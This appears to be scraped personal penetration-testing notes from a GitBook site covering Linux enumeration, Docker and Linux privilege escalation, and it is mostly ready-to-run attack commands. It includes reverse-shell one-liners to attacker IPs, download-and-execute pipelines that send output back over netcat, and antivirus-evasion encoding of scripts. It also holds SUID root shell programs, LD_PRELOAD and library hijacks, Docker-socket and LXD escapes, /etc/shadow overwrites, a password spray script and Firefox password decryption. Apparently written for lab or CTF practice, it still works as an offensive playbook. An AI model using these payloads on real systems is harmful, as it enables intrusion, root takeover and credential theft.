placed by user [Interesting] \ for i in /usr/sbin /usr/bin /sbin /bin; do ls -la --time-style=full $i | grep -v '000000000\|->' ; done \ \ ## ------------------| Find modified files between dates.\ find / -newermt "2021-11-21" ! -newermt "2021-12-21" -ls 2>/dev/null\ \ ## ------------------| Check files which contain password or username keyword\ grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null\ grep --color=auto -rnw '/etc' -ie "PASSWORD" --color=always 2> /dev/null\ grep --color=auto -rnw '/etc' -ie "USERNAME" --color=always 2> /dev/null\ \ ## ------------------| Check ssh-hostkey value\ ssh-keygen -l -E md5 -f /etc/ssh/ssh_host_rsa_key.pub\ ssh-keygen -l -E md5 -f /etc/ssh/ssh_host_ecdsa_key.pub\ \ * Shared Object Injection\ \ \ Copy\ \ strace /path/to/file 2>&1 | grep -iE "open|access|no such file"\ \ * List noexec mounts\ \ \ Copy\ \ mount | grep noexec\ \ * `PATH` Environment variable\ \ \ Copy\ \ ## ------------------| checking\ strings /path/to/file\ strace -v -f -e execve /path/to/file 2>&1 | grep exec\ ltrace /path/to/file\ \ ## ------------------| Create vul file\ int main() {\ setuid(0);\ system("/bin/bash -p");\ }\ \ ## ------------------| Execute\ PATH=.:$PATH /path/to/file\ \ ## ------------------| If bash < 4.2-048 we can inject to absolute path aswell.\ strace -v -f -e execve /path/to/file 2>&1\ function /path/to/service { /bin/bash -p; }\ export -f /path/to/service\ /path/to/file\ \ * Read audit files\ \ \ Copy\ \ ## ------------------| If you are in adm group\ aureport\ aureport --help\ aureport --tty\ \ find / -group adm -ls 2>/dev/null\ cat /var/log/auth.* | grep "Failed password"\ cat /var/log/auth.* | grep -oE "([0-9]{1,3}[\.]){3}[0-9]{1,3}" | sort | uniq -c\ cat /var/log/auth.* | grep "password" | grep -v 'Failed\|Invalid'\ cat /var/log/auth.* | grep -i 'root\|user\|usern\|passw\|pass\|`$(whoami)`' | awk -F: '{print $5}' | sort | uniq -c \ cat /var/log/syslog* | grep -i 'root\|user\|`$(whoami)`\|cron' |awk -F: '{print $5}' | sort | uniq -c\ awk '{if($6=="Failed"&&$7=="password"){if($9=="invalid"){ips[$13]++;users[$11]++}else{users[$9]++;ips[$11]++}}}END{for(ip in ips){print ip, ips[ip]}}' /var/log/auth.* | sort -k2 -rn \ awk '{if($6=="Failed"&&$7=="password"){if($9=="invalid"){ips[$13]++;users[$11]++}else{users[$9]++;ips[$11]++}}}END{for(user in users){print user, users[user]}}' /var/log/auth.* | sort -k2 -rn \ \ ## ------------------| Grep username and password\ sed -n 's/.*username=\([^&]*\).*password=\([^&]*\).*/\1:\2/p' logfile.txt\ \ * Journalctl\ \ \ Copy\ \ ## ------------------| Viewing Logs\ ### View the most recent logs\ sudo journalctl -n 50\ ### View logs for a specific service\ sudo journalctl -u \ sudo journalctl -xe | grep \ ### Follow logs in real-time (like tail -f)\ sudo journalctl -f\ ### View logs for a specific time range\ sudo journalctl --since "2024-11-01" --until "2024-11-08"\ \ ## ------------------| Filtering Logs\ ### Show only error logs\ sudo journalctl -p err\ sudo journalctl | grep "error"\ ### Show logs for a specific boot\ sudo journalctl -b -1 \ \ ## ------------------| Log Rotation & Cleanup\ ### Remove old journal logs (rotate)\ sudo journalctl --rotate\ ### Remove logs older than 1 second\ sudo journalctl --vacuum-time=1s\ ### Keep only 500MB of logs\ sudo journalctl --vacuum-size=500M\ \ ## ------------------| Journal Size Management\ ### Limit the maximum journal size (e.g., to 1GB)\ sudo journalctl --vacuum-size=1G\ ### Show the current disk usage of journal logs\ sudo journalctl --disk-usage\ \ ## ------------------| Persistent Storage\ ### Enable persistent journal logs (store logs after reboot)\ sudo mkdir -p /var/log/journal\ sudo systemctl restart systemd-journald\ \ * Recovery file\ \ \ Copy\ \ ## ------------------| Using foremost \ sudo apt-get install foremost \ mkdir /tmp/recov\ sudo foremost -q -v -i /dev/sda1 -t -o /tmp/recov\ \ #-v - verbose mode. Logs all messages to screen\ #-q - enables quick mode. Search are performed on 512 byte boundaries.\ #-t - specify file type. (-t jpeg,pdf ...) \ #-d - turn on indirect block detection (for UNIX file-systems) \ #-i - specify input file (default is stdin) \ #-o - set output directory (defaults to output)\ #-Q - enables quiet mode. Suppress output messages. \ \ ## ------------------| Using lsof [works if inode is still active]\ lsof | grep -i deletedFile.txt\ \ * Decrypt Mozilla Firefox protected passwords\ \ \ Copy\ \ git clone https://github.com/lclevy/firepwd.git\ \ python firepwd.py -d /c/Users/..../Profiles/\ \ * ZipSlip Expo\ \ \ Copy\ \ ln -s ../../../../../../etc/passwd document.pdf\ zip expo.zip document.pdf \ \ ### \ \ [](#id-01.6-software-package-enumerations)\ \ 01.6 Software / Package Enumerations\ \ Copy\ \ ## ------------------| List all installed packages\ dpkg -l\ \ ## ------------------| Search for compilers\ dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; command -v gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/" \ \ ## ------------------| Mysql version\ mysql --version 2>/dev/null\ \ ### \ \ [](#id-01.7-active-directory)\ \ 01.7 Active Directory\ \ Copy\ \ ## ------------------| Check Domain joined ?\ cat /etc/krb5.conf\ \ ## ------------------| Search credentials/tickets\ find / -name *.keytab 2>/dev/null\ \ ## ------------------| Request a TGT\ kinit @ -k -t domain.keytab\ \ ## ------------------| Check current tickets\ klist\ \ ## ------------------| Requesting CIFS ticket of Child Domain Controller\ kvno cifs\/OPS-ChildDC\ \ ### \ \ [](#id-01.8-other)\ \ 01.8 Other\ \ * Create file with special chars\ \ \ Copy\ \ touch -- 'echo | hello'\ \ * Change root password through replace `/etc/shadow` file.\ \ \ Copy\ \ ## ------------------| Create password \ openssl passwd -6 -salt h4rithd h4rithd123\ ### -1 --> MD5\ ### -5 --> SHA256\ ### -6 --> SHA512\ ### also you can use it with out salt flag\ \ ### Replace the password in /etc/shadow (h4rithd123)\ $6$h4rithd$SjZ3XkShHfK9x1Rpn9RhhDH030H4cy.igvwhXGoAb93wEUM9AGR5fjR6ms/oqCqhkopN9Wj/ORX/SlUoaypYI0\ \ sed -i -E 's/^([^:]+:)([^:]+)(..+)$/\1PASSWORD\3/g' /etc/shadow\ \ ## ------------------| one line : h4rithd123\ sed -i -E 's/^([^:]+:)([^:]+)(..+)$/\1$6$\/dij\/aLbpn4NJrUW$iNXC\/blQ8FP6.kgZmpazax0RNiKBRRVwTuH5e2UFaYUQo8XOKb9aQU8hM7.e2I3omzD4Mp4XRHHzk0B2txbBW\/\3/g' /etc/shadow \ \ * Download file.\ \ \ Copy\ \ ## ------------------| WGET\ wget https://10.10.14.25/revshell.sh -O /tmp/revshell.sh\ \ ## ------------------| CURL\ curl -o /tmp/revshell.sh https://10.10.14.25/revshell.sh\ \ ## ------------------| OpenSSL\ ### Create certificate\ openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem \ ### Stand up server\ openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/revshell.sh\ ### Download file\ openssl s_client -connect 10.10.14.25:80 -quiet > revshell.sh\ \ ## ------------------| Bash (/dev/tcp)\ ### Connect to Target's Webserver\ exec 3<>/dev/tcp/10.10.10.32/80\ ### HTTP GET Request\ echo -e "GET /revshell.sh HTTP/1.1\n\n">&3\ ### Print the Response\ cat <&3\ \ ## ------------------| PHP\ ### File_get_contents()\ php -r '$file = file_get_contents("https://10.10.14.25/revshell.sh"); file_put_contents("revshell.sh",$file);' \ ### Fopen()\ php -r 'const BUFFER = 1024; $fremote = fopen("https://10.10.14.25/revshell.sh", "rb"); $flocal = fopen("revshell.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);' \ \ ## ------------------| Python\ ### Python2\ import urllib\ urllib.urlretrieve ("https://10.10.14.25/revshell.sh", "revshell.sh")\ ### Python3\ import urllib.request\ urllib.request.urlretrieve("https://10.10.14.25/revshell.sh", "revshell.sh")\ \ ## ------------------| Ruby\ ruby -e 'require "net/http"; File.write("revshell.sh", Net::HTTP.get(URI.parse("https://10.10.14.25/revshell.sh")))'\ \ ## ------------------| Perl\ perl -e 'use LWP::Simple; getstore("https://10.10.14.25/revshell.sh", "revshell.sh");'\ \ * LUKS mount / unmount (**L**inux **U**nified **K**ey **S**etup)\ \ \ Copy\ \ # ------------------| Mount\ sudo cryptsetup luksOpen backup.img backup\ sudo mount /dev/mapper/backup /mnt/\ \ # ------------------| Unmount\ sudo umount -l /mnt/\ sudo cryptsetup luksClose backup \ \ * Is there any `PAM-Wordle`?\ \ \ Copy\ \ # ------------------| Find so file\ find / 2>/dev/null | grep wordle\ find /{usr,etc} -type f -printf "%T+ %p\n" 2>/dev/null | grep -v '000'| grep so$\ \ # ------------------| Find words\ strings \ \ [](#id-02.-commands-and-scripts)\ \ 02\. Commands & Scripts\ \ \ -------------------------------------------------------------\ \ ### \ \ [](#id-02.1-commands)\ \ 02.1 Commands\ \ * [Setup Linux machine as router](https://youtu.be/_8FE3JZIPfo)\ (Forward OpenVpn traffic to windows machine)\ \ \ Copy\ \ # ------------------| On Linux machine\ ### Check ip forwording is enabled \ sudo sysctl -a | grep ip_forward \ ## if the value is 1 you are good!! if not execute following command\ sudo echo "1" > /proc/sys/net/ipv4/ip_forward\ ### IP Table rules\ sudo iptables -A FORWARD -i tun0 -o eth0 -m state RELATED,ESTABLISHED -j ACCEPT\ sudo iptables -A FORWARD -i eth0 -o tun0 -j ACCEPT\ sudo iptables -t nat -A POSTROUTING -s /24 -o tun0 -j MASQUERADE\ \ # ------------------| On Windows machine\ rout add 10.10.10.0 mask 255.255.254.0 \ ping 10.10.10.2\ \ * Grant to SUID to `dash` or `vi`\ \ \ Copy\ \ # ------------------| OneCommand\ sudo chmod 4755 $(which dash)\ sudo chmod 4755 $(which bash)\ sudo chmod 4755 $(which less)\ sudo chmod 4755 $(readlink $(which vi))\ # ------------------| OtherWays\ sudo chmod u+s /bin/bash\ sudo chmod u+s /bin/dash\ \ sudo cp /bin/dash /tmp/dash\ sudo chmod 4555 /tmp/dash\ sudo chown root /tmp/dash\ /tmp/dash -p\ \ * Copy file via SSH\ \ \ Copy\ \ ## ------------------| Syntax\ scp : :\ ## To copy a file from B to A while logged into B:\ scp /path/to/file username@a:/path/to/destination\ ## To copy a file from B to A while logged into A:\ scp username@b:/path/to/file /path/to/destination\ \ ## ------------------| rsync\ rsync -avz -e ssh : :\ \ ## ------------------| Alternates \ sudo apt-get install sshfs\ \ ## ------------------| Create an empty dir\ mkdir /tmp/testdir \ ### "link" or "mount" the two directories\ sshfs [email protected]:/remote/dir /tmp/testdir \ ### "unlink" the dirs\ fusermount -u /home/user/testdir\ umount mountpoint\ diskutil unmount mountpoint\ \ ### \ \ [](#id-02.2-port-knocking)\ \ 02.2 Port Knocking\ \ Copy\ \ ## ------------------| Files\ ls /etc/init.d/ | grep knock\ \ ## ------------------| Using above file we can find the config file\ /etc/default/knockd\ /etc/knockd.conf\ \ ## ------------------| Config file look like this. to open port 22 we need to knock port 571, 290 and 991 \ [openSSH]\ sequence = 571, 290, 911\ seq_timeout = 5\ start_command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT\ tcpflags = syn\ \ ## ------------------| Port Knocking using nmap\ for i in 571 290 911; do nmap -Pn -p $i --host-timeout 201 --max-retries 0 10.10.10.43 ; done \ \ ### \ \ [](#id-02.3-scripts)\ \ 02.3 Scripts\ \ * [Password spray on users](https://youtu.be/jj4r5lwnCp8?t=1412)\ \ \ Copy\ \ #!/bin/bash\ \ spray() {\ users=$(awk -F: '{ if ($NF ~ /sh$/) print $1 }' /etc/passwd)\ for user in $users; do\ echo "$1" |timeout 2 su $user -c whoami 2>/dev/null\ if [[ $? -eq 0 ]]; then\ exit\ fi\ done\ }\ \ spray $1\ \ * Create SUID sudo\ \ \ Copy\ \ // gcc -o sroot sroot.c\ int main(void)\ {\ setuid(0);\ setgid(0);\ printf("\n-----| by h4rithd.com |-----\n\n");\ system("/bin/bash -p");\ }\ \ // chown root:root /tmp/sroot; chmod 4755 /tmp/sroot\ // or chmod u+s /bin/bash\ \ // SUID = 4xxx filename\ // SGID = 2xxx filename\ // Both = 6xxx filename\ \ // for i in {1..100}; do ls -al /tmp/sroot;date ;sleep .2; done\ // watch -n 2 -d ls -l .\ \ * Process Monitor\ \ \ Copy\ \ #!/bin/bash\ \ IFS=$'\n' # Loop by line\ \ old_process=$(ps -eo command)\ \ while true; do\ new_process=$(ps -eo command)\ diff <(echo "$old_process") <(echo "$new_process") | grep [\<\>]\ sleep 1\ old_process=$new_process\ done\ \ # nano prcmon.sh\ # chmod +x prcmon.sh; ./prcmon.sh\ \ * List file for sleep 5\ \ \ Copy\ \ for i in {1..100}; do ls -al /tmp/sroot;date ;sleep 5; done\ \ * Ping sweep\ \ \ Copy\ \ for i in {1..254}; do (ping -c 1 172.19.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done; \ \ Copy\ \ #!/bin/bash\ \ ip=172.20.0\ \ for i in $(seq 2 255);\ do\ ping -c 1 -W 1 $ip.$i 1>/dev/null 2>&1\ if [[ $? -eq 0 ]];\ then\ echo "[+] $ip.$i - is Alive!"\ fi\ done\ \ * Scan live ports\ \ \ Copy\ \ for port in {1..65535}; do echo > /dev/tcp/172.19.0.1/$port && echo "$port open"; done 2>/dev/null \ \ Copy\ \ #!/bin/bash\ \ ip=127.0.0.1\ \ for port in $(seq 1 65535);\ do\ timeout .1 bash -c "echo > /dev/tcp/$ip/$port" &&\ echo "[+] $ip : $port - is Open!"\ done\ echo "==========[ Finished ]============"\ \ * Shared Object Shell (.so)\ \ \ Copy\ \ #include \ #include \ \ static void inject() __attribute__((constructor));\ \ void inject() {\ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");\ }\ \ ## gcc -shared -o libcounter.so -fPIC libcounter.c\ \ ### \ \ [](#id-02.4-web-servers)\ \ 02.4 Web servers\ \ Copy\ \ ## ------------------| Python\ python2 -m SimpleHTTPServer 8080\ python3 -m http.server 8080\ \ ## ------------------| Ruby\ ruby -run -ehttpd . -p8080\ \ ## ------------------| PHP\ php -S 0.0.0.0:8080\ \ ## ------------------| Socat\ socat TCP-LISTEN:8080,reuseaddr,fork\ \ ### \ \ [](#id-02.5-sed-commands)\ \ 02.5 Sed Commands\ \ Copy\ \ ## ------------------| Remove new line \ sed -z 's/\n//g' filename\ \ ## ------------------| Insert text to the 1st line of a file \ sed '1 i addthisword' filename\ \ ## ------------------| Delete first characher each line \ sed 's/^..//' filename\ \ ## ------------------| Delete last characher each line \ sed 's/.$//g' filename\ \ ## ------------------| Delete last line or footer line or trailer line\ sed '$d' file\ \ ## ------------------| Delete particular line\ sed '2d' file\ \ ## ------------------| Delete range of lines\ sed '2,4d' file\ \ ## ------------------| Delete lines other than the first line or header line\ sed '1!d' file\ \ ## ------------------| Delete lines other than last line or footer line\ sed '$!d' file\ \ ## ------------------| Delete lines other than the specified range\ sed '2,4!d' file\ \ ## ------------------| Delete first and last line\ sed '1d;$d' file\ \ ## ------------------| Delete empty lines or blank lines\ sed '/^$/d' file\ \ ## ------------------| Delete lines that begin with specified character\ sed '/^u/d' file\ \ ## ------------------| Delete lines that end with specified character\ sed '/x$/d' file\ \ ## ------------------| Delete lines that contain a pattern\ sed '/debian/d' file\ \ Last updated 10 days ago\ \ Was this helpful?\ \ 🐧\ \ ![Page cover image](https://docs.h4rithd.com/~gitbook/image?url=https%3A%2F%2F50507886-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FnExgHyf5c0iANwFPNNH2%252Fuploads%252FXRAWz8fovls7O28izKOl%252F02.jpg%3Falt%3Dmedia%26token%3Df6407fac-9014-4bcd-9f07-98f21bb8d320&width=1248&dpr=4&quality=100&sign=8c194cab&sv=2) --- # Docker | h4rithd.com | Notes * * * * General Copy ## ------------------| Delete all docker stop $(docker ps -aq) ### Stop All Running Containers docker rm $(docker ps -aq) ### Remove All Containers docker rmi $(docker images -q) ### Remove All Docker Images docker volume rm $(docker volume ls -q) ### Remove All Volumes docker network rm $(docker network ls -q) ### Remove All Networks docker system prune -a ### Clean Up Unused Data * Configurations. Copy ## ------------------| docker-compose.yaml version: "3" ## optional since v1.27.0 services: website: ## Service name image: nginx ports: - "8080:80" restart: always ## Alwasys start when machine reboot ## ------------------| Start/Stop ### Start/Run sudo docker-compose up -d ### Stop/Down sudo docker-compose stop sudo docker-compose down * Is `Docker Sock` is writable ? Copy ## ------------------| How to check ls -al /var/run/docker.sock ## ------------------| Web APIs (https://docs.docker.com/engine/api/v1.41/) curl -s --unix-socket /var/run/docker.sock http://localhost/images/json curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json ## ------------------| Expolit chain ### Create new container--> map root drive ### We need to know what image we can use; use following command and get RepoTags value. curl -s --unix-socket /var/run/docker.sock http://localhost/images/json | jq '.[] | .RepoTags[0]' ### Create json object in file !!! Remove comments!!! { "Image" : "sandbox", ## <---- RepoTags value "Cmd" : ["/bin/sh","-c","chroot /mnt sh -c \"bash /tmp/shell.sh\""], ## <---- shell "Binds" : [\ "/:/mnt:rw"\ ] } ### use curl command to create new container curl -X POST -H "Content-Type: application/json" -d @shell.json --unix-socket /var/run/docker.sock http://localhost/containers/create ### Get id value; replace; start curl -X POST --unix-socket /var/run/docker.sock http://localhost/containers//start * Login Copy ## ------------------| Normal login docker login ## ------------------| If it has certificate file mkdir -p /etc/docker/certs.d/ cp ca.crt /etc/docker/certs.d//ca.crt docker login cat /etc/docker/daemon.json { "insecure-registries":["docker.registry.htb:443"] } * Privilege Escalation via [Portainer](https://www.portainer.io) Last updated 11 days ago Was this helpful? ⛅ Create new volume with these settings Select any ID Copy the sha256 ID value Paste the value in the image section Set the console Set the volume to newly created one Go inside to the container and click the console button Here you have root directory ![](https://docs.h4rithd.com/~gitbook/image?url=https%3A%2F%2F50507886-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FnExgHyf5c0iANwFPNNH2%252Fuploads%252FyOEn1B4AqkEP00VGa6Ap%252Fimage.png%3Falt%3Dmedia%26token%3D906b791e-562c-4dcf-8fe4-98bcd9bcfa2b&width=768&dpr=4&quality=100&sign=aa383d63&sv=2) ![](https://docs.h4rithd.com/~gitbook/image?url=https%3A%2F%2F50507886-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FnExgHyf5c0iANwFPNNH2%252Fuploads%252FOaGprZItqkfD3biL3IHK%252Fimage.png%3Falt%3Dmedia%26token%3D49ac4da1-515d-42c1-bb82-b350d9848814&width=768&dpr=4&quality=100&sign=802551f1&sv=2) ![](https://docs.h4rithd.com/~gitbook/image?url=https%3A%2F%2F50507886-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FnExgHyf5c0iANwFPNNH2%252Fuploads%252FChzYdpHBfIW9zxgGBsCr%252Fimage.png%3Falt%3Dmedia%26token%3D6092751e-579f-496f-baf2-37ab1ce18de6&width=768&dpr=4&quality=100&sign=f1228fcd&sv=2) ![](https://docs.h4rithd.com/~gitbook/image?url=https%3A%2F%2F50507886-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FnExgHyf5c0iANwFPNNH2%252Fuploads%252F624tEub6l3R5AS9Lzb0d%252Fimage.png%3Falt%3Dmedia%26token%3D7be6bc28-acc0-4218-98ad-659878eb7d7b&width=768&dpr=4&quality=100&sign=62728494&sv=2) ![](https://docs.h4rithd.com/~gitbook/image?url=https%3A%2F%2F50507886-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FnExgHyf5c0iANwFPNNH2%252Fuploads%252F6QrUmgfqoBm6Sl5oR6Eu%252Fimage.png%3Falt%3Dmedia%26token%3D8e79fe20-8246-4607-bd14-5776965ee5cb&width=768&dpr=4&quality=100&sign=b777e409&sv=2) ![](https://docs.h4rithd.com/~gitbook/image?url=https%3A%2F%2F50507886-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FnExgHyf5c0iANwFPNNH2%252Fuploads%252FqAjynWkQUqmbWyMi7qa8%252Fimage.png%3Falt%3Dmedia%26token%3D0c38e354-23a1-40f7-be43-41661fd5637a&width=768&dpr=4&quality=100&sign=8801ce7b&sv=2) ![](https://docs.h4rithd.com/~gitbook/image?url=https%3A%2F%2F50507886-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FnExgHyf5c0iANwFPNNH2%252Fuploads%252FD3BFD249A8YOehb0kvrY%252Fimage.png%3Falt%3Dmedia%26token%3Dac7e6985-7277-4871-b75b-9496ec574202&width=768&dpr=4&quality=100&sign=e35fa4e1&sv=2) ![](https://docs.h4rithd.com/~gitbook/image?url=https%3A%2F%2F50507886-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FnExgHyf5c0iANwFPNNH2%252Fuploads%252FqBv9njo0zUSE7XM5IMtQ%252Fimage.png%3Falt%3Dmedia%26token%3Dedeb3633-c5bd-42e0-8846-b269207add04&width=768&dpr=4&quality=100&sign=7712e897&sv=2) ![Page cover image](https://docs.h4rithd.com/~gitbook/image?url=https%3A%2F%2F50507886-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FnExgHyf5c0iANwFPNNH2%252Fuploads%252F9Evwa1moaG5jJQigQyoT%252FDocker.jpg%3Falt%3Dmedia%26token%3De0b87ed9-37f0-42d4-bc0d-0dac121cef28&width=1248&dpr=4&quality=100&sign=43460c78&sv=2) --- # PrivilageEsc Linux 👑 | h4rithd.com | Notes * * * Check list : [https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist](https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist) [](#id-01.-linpeas) [**01\. LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) ------------------------------------------------------------------------------------------------------------------------------------------- * Remote Network Copy ## ------------------| Remote download and execrute from Github curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh wget -q -O - https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh * Local Network Copy ## ------------------| Local Network curl 10.10.10.10/linpeas.sh | sh ## ------------------| Without CURL sudo nc -q 5 -lvnp 80 < linpeas.sh #Host cat < /dev/tcp/10.10.10.10/80 | sh #Victim ## ------------------| Excute from memory and send output back to the host curl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victim wget -q -O - 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victim nc -lvnp 9002 | tee linpeas.out #Host * Output Format Copy ## ------------------| Output to file ./linpeas.sh -a > /dev/shm/linpeas.txt #Victim less -r /dev/shm/linpeas.txt #Read with colors * AV Bypass Copy ## ------------------| open-ssl encryption openssl enc -aes-256-cbc -pbkdf2 -salt -pass pass:AVBypassWithAES -in linpeas.sh -out lp.enc sudo python -m SimpleHTTPServer 80 #Start HTTP server curl 10.10.10.10/lp.enc | openssl enc -aes-256-cbc -pbkdf2 -d -pass pass:AVBypassWithAES | sh #Download from the victim ## ------------------| Base64 encoded base64 -w0 linpeas.sh > lp.enc sudo python -m SimpleHTTPServer 80 #Start HTTP server curl 10.10.10.10/lp.enc | base64 -d | sh #Download from the victim [](#id-02.-linenum) [02\. LinEnum](https://github.com/rebootuser/LinEnum) ------------------------------------------------------------------------------- * Remote Network Copy ## ------------------| Remote download and execrute from Github curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | sh * Local Network Copy ./LinEnum.sh -r report.out -t # -t <-- Include thorough (lengthy) tests # -e /dev/shm/ <-- Export all info by separate one by one [](#id-03.-linux-exploit-suggester-2) [03\. Linux Exploit Suggester 2](https://github.com/jondonas/linux-exploit-suggester-2) ----------------------------------------------------------------------------------------------------------------------------------- Copy ./linux-exploit-suggester-2.pl -k [](#id-04.-linux-smart-enumeration) [04\. Linux Smart Enumeration](https://github.com/diego-treitos/linux-smart-enumeration) ---------------------------------------------------------------------------------------------------------------------------------- Copy ./lse.sh -l 2 -i [](#id-05.-pspy) [05\. PSPY](https://github.com/DominicBreuker/pspy) -------------------------------------------------------------------------- \-Linux process snooping \[unprivileged\] * Download * 32 bit big, static version: `pspy32` [download](https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy32) * 64 bit big, static version: `pspy64` [download](https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64) * 32 bit small version: `pspy32s` [download](https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy32s) * 64 bit small version: `pspy64s` [download](https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s) Copy ## ------------------| print both commands and file system events and scan procfs every 1000 ms (=1sec) ./pspy64 -pf -i 1000 ## ------------------| place watchers recursively in two directories and non-recursively into a third ./pspy64 -r /path/to/first/recursive/dir -r /path/to/second/recursive/dir -d /path/to/the/non-recursive/dir ## ------------------| disable printing discovered commands but enable file system events ./pspy64 -p=false -f [](#id-06.-common-exploits) 06\. Common exploits ----------------------------------------------------- ### [](#id-06.0-abusing-shell-features) 06.0 Abusing Shell Features Copy ## ------------------| If bash < 4.2-048 we can inject to absolute path aswell. /bin/sh --version strace -v -f -e execve /path/to/file 2>&1 | grep exec function /path/to/service { /bin/bash -p; } export -f /path/to/service /path/to/file ## ------------------| If bash < 4.4 (Bash debug ps4) /bin/sh --version env -i SHELLOPTS=xtrace PS4='$(whoami)' /path/to/file env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/vulnbash; chmod +s /tmp/vulnbash)' /path/to/file /tmp/vulnbash -p ### [](#id-06.1-shellshock) 06.1 Shellshock Copy Date patched : 24 September 2014 Date discovered : 12 September 2014 Affected software : Bash (1.0.3–4.3) Copy h4rithd='() { :; }; echo sh0ck' bash -c : h4rithd='() { :;}; echo sh0ck' bash -c : # If print sh0ck; does look like vulnerable to shell shok # to verify h4rithd='echo sh0ck' bash -c : # Nothing print # Pik any env variable env LOGNAME='() { :;}; echo sh0ck' sudo /root/troll ## ------------------| With user agent curl -A '() { :; }; echo;echo; /bin/bash -i >& /dev/tcp/10.10.14.26/4545 0>&1' http://127.0.0.1/cgi-bin/stats ### or curl -so shellshock.py https://www.exploit-db.com/raw/34900 python shellshock.py payload=reverse rhost=10.10.14.26 lhost=127.0.0.1 lport=4545 pages=/cgi-bin/stats ### [](#id-06.2-lxd) 06.2 LXD Copy ## ------------------| Find local user account is part of lxd groups. id ## ------------------| clone the repository and build the build-alpine img git clone https://github.com/saghul/lxd-alpine-builder.git cd lxd-alpine-builder sudo ./build-alpine ## ------------------| For 32 bit use -a i386 or -a i686 mv alpine-v* alpine.tar.gz ls -al ## ------------------| Start web server python3 -m http.server 80 ## ------------------| Download the file on attacker machine. cd /dev/shm wget 10.10.14.26/alpine.tar.gz ## ------------------| Execute and gain root shell lxc image import ./alpine.tar.gz --alias h4rithd lxc image list lxc init h4rithd ignite -c security.privileged=true ### if above command get error, try lxd init lxc list lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true lxc start ignite lxc exec ignite /bin/sh id cd /mnt/root ### [](#id-06.3-logrotate) [06.3 logrotate](https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges) Copy wget https://raw.githubusercontent.com/whotwagner/logrotten/master/logrotten.c gcc -o logrotten logrotten.c echo "bash -i >& /dev/tcp/10.10.14.26/4545 0>&1" > shell.sh chmod +x shell.sh echo "test">>//access.log; ./logrotten /access.log -d cp $(pwd)/shell.sh /etc/bash_completion.d/access.log cat /etc/bash_completion.d/access.log ### [](#id-06.4-if-you-have-or-can) 06.4 If you have or can? * If you have `**LD_PRELOAD**` in `env_keep` variable? Copy ## ------------------| Check if env_keep variable has LD_PRELOAD? sudo -l ## ------------------| Create C code compiled as a share object (.so extension) file #include #include #include void _init() { unsetenv("LD_PRELOAD"); setresuid(0,0,0); system("/bin/bash -p"); } ## ------------------| Complie the c code to share object (.so extension) gcc -fPIC -shared -o /tmp/shell.so shell.c -nostartfiles ## ------------------| Execute sudo LD_PRELOAD=/tmp/shell.so * If you have `**LD_LIBRARY_PATH**` in `env_keep` variable? Copy ## ------------------| Check if env_keep variable has LD_PRELOAD? sudo -l ## ------------------| Create C code compiled as a share object #include #include static void hijack() __attribute__((constructor)); void hijack() { unsetenv("LD_LIBRARY_PATH"); setresuid(0,0,0); system("/bin/bash -p"); } ## ------------------| Complie the c code to share object (.so extension) gcc -o /tmp/library_path.so -shared -fPIC library_path.c ## ------------------| Hijacking shared objects libcrypt.so.1 ## Run ldd against the (sudo -l) programs file to get another mv /tmp/library_path.so /tmp/libcrypt.so.1 ## ------------------| Execute sudo LD_LIBRARY_PATH=/tmp/ * If you have `SETENV` in `sudo -l`? Copy ## ------------------|Check sudo -l | grep SETENV ## ------------------| Execute sudo PATH=//:$PATH /script.sh * Do we have `**no_root_squash**` in `**/etc/exports**` Copy ### If the “no_root_squash” option 